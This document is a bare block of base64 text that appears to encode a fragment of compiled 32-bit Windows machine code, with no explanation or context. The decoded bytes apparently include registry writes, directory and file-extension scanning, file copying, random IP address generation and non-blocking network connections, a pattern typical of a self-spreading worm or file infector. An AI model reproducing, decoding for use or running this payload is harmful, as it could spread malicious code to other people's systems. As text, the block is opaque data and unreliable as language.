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 EwYAAFajtNU3N/91+P91/OgCBgAAaFSZNzejsNU3N/91+P91/OjtBQAAaESZNzejrNU3N/91+P91 /OjYBQAAg8RIo6jVNzdoPJk3N/91+P91/OjABQAAaDSZNzejpNU3N/91+P91/OirBQAAaCiZNzej oNU3N/91+P91/OiWBQAAaByZNzejnNU3N/91+P91/OiBBQAAaBCZNzejmNU3N/91+P91/OhsBQAA aASZNzejlNU3N/91+P91/OhXBQAAg8RIo5DVNzdo+Jg3N/91+P91/Og/BQAAaOiYNzejjNU3N/91 +P91/OgqBQAAaNiYNzejiNU3N/91+P91/OgVBQAAaMiYNzejhNU3N/91+P91/OgABQAAaLCYNzej gNU3N/91+P91/OjrBAAAaJSYNzejfNU3N/91+P91/OjWBAAAg8RIo3jVNzdoeJg3N/91+P91/Oi+ BAAAaFyYNzejdNU3N/91+P91/OipBAAAaECYNzejcNU3N/91+P91/OiUBAAAaCSYNzejbNU3N/91 +P91/Oh/BAAAaASYNzejaNU3N/91+P91/OhqBAAAaOSXNzejZNU3N/91+P91/OhVBAAAg8RIo2DV NzdoxJc3N/91+P91/Og9BAAAaKyXNzejXNU3N/91+P91/OgoBAAAaJSXNzejWNU3N/91+P91/OgT BAAAaHyXNzejVNU3N/91+P91/Oj+AwAAo1DVNzdoZJc3N/91+P91/OjpAwAAaEyXNzejTNU3N/91 +P91/OjUAwAAg8RIo0jVNzdoMJc3N/91+P91/Oi8AwAAaBCXNzejRNU3N/91+P91/OinAwAAaPCW NzejQNU3N/91+P91/OiSAwAAaNiWNzejPNU3N/91+P91/Oh9AwAAaMCWNzejONU3N/91+P91/Oho AwAAaKiWNzejNNU3N/91+P91/OhTAwAAg8RIozDVNzdokJY3N/91+P91/Og7AwAAaHiWNzejLNU3 N/91+P91/OgmAwAAaFyWNzejKNU3N/91+P91/OgRAwAAaECWNzejJNU3N/91+P91/Oj8AgAAaCSW NzejINU3N/91+P91/OjnAgAA/zXQ1Tc3izVQgTc3oxzVNzf/NSjWNzdoHJY3N2hk1jc3/9aDxEz/ NajVNzf/NaDVNzf/NXzVNzdoEJY3N2hE1jc3/9aDxBT/dfSLNbiANzf/1v91/P/WX14zwFvJw1WL 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 agFYX17Jw1WL7IHslAAAAI2FbP///8eFbP///5QAAABQ/xVUgDc3M8CDvXz///8CD5TAoxCtNzfJ w1ZXiz1YgDc3aDChNzf/14XAo/isNzcPhOIAAACLNVCANzdoJKE3N1D/1mgYoTc3o9ysNzf/Nfis Nzf/1mgMoTc3o9isNzf/NfisNzf/1mgAoTc3o9SsNzf/NfisNzf/1mj0oDc3o9CsNzf/NfisNzf/ 1oM9EK03NwCjzKw3N3RcaOCgNzf/NfisNzf/1mjMoDc3o0DWNzf/NfisNzf/1mi8oDc3ozDWNzf/ NfisNzf/1misoDc3ozzWNzf/NfisNzf/1micoDc3ozTWNzf/NfisNzf/1qM41jc36xJohKA3N/81 +Kw3N//WoyzWNzdoeKA3N//XhcCj/Kw3N3UHM8DphwIAAGhooDc3UP/WaGCgNzej9Kw3N//XhcCj AK03N3RVaFCgNzdQ/9ZoPKA3N6PwrDc3/zUArTc3/9ZoLKA3N6PsrDc3/zUArTc3/9ZoFKA3N6Po rDc3/zUArTc3/9ZoAKA3N6PkrDc3/zUArTc3/9aj4Kw3N2j0nzc3/9eFwKMErTc3dHlo6J83N1D/ 1mjYnzc3o1zXNzf/NQStNzf/1mjInzc3o1jXNzf/NQStNzf/1mi4nzc3o1TXNzf/NQStNzf/1mio nzc3o1DXNzf/NQStNzf/1miYnzc3o0zXNzf/NQStNzf/1miMnzc3o0jXNzf/NQStNzf/1qNE1zc3 aICfNzf/14XAowitNzcPhHUBAABodJ83N1D/1mhonzc3o8isNzf/NQitNzf/1mhYnzc3o8SsNzf/ NQitNzf/1mhQnzc3o8CsNzf/NQitNzf/1mhInzc3o7ysNzf/NQitNzf/1mhAnzc3o7isNzf/NQit Nzf/1mg4nzc3o7SsNzf/NQitNzf/1mgsnzc3o7CsNzf/NQitNzf/1mgknzc3o6ysNzf/NQitNzf/ 1mgcnzc3o6isNzf/NQitNzf/1mgUnzc3o6SsNzf/NQitNzf/1mgInzc3o6CsNzf/NQitNzf/1mgA nzc3o5ysNzf/NQitNzf/1mj4njc3o5isNzf/NQitNzf/1mjwnjc3o5SsNzf/NQitNzf/1mjonjc3 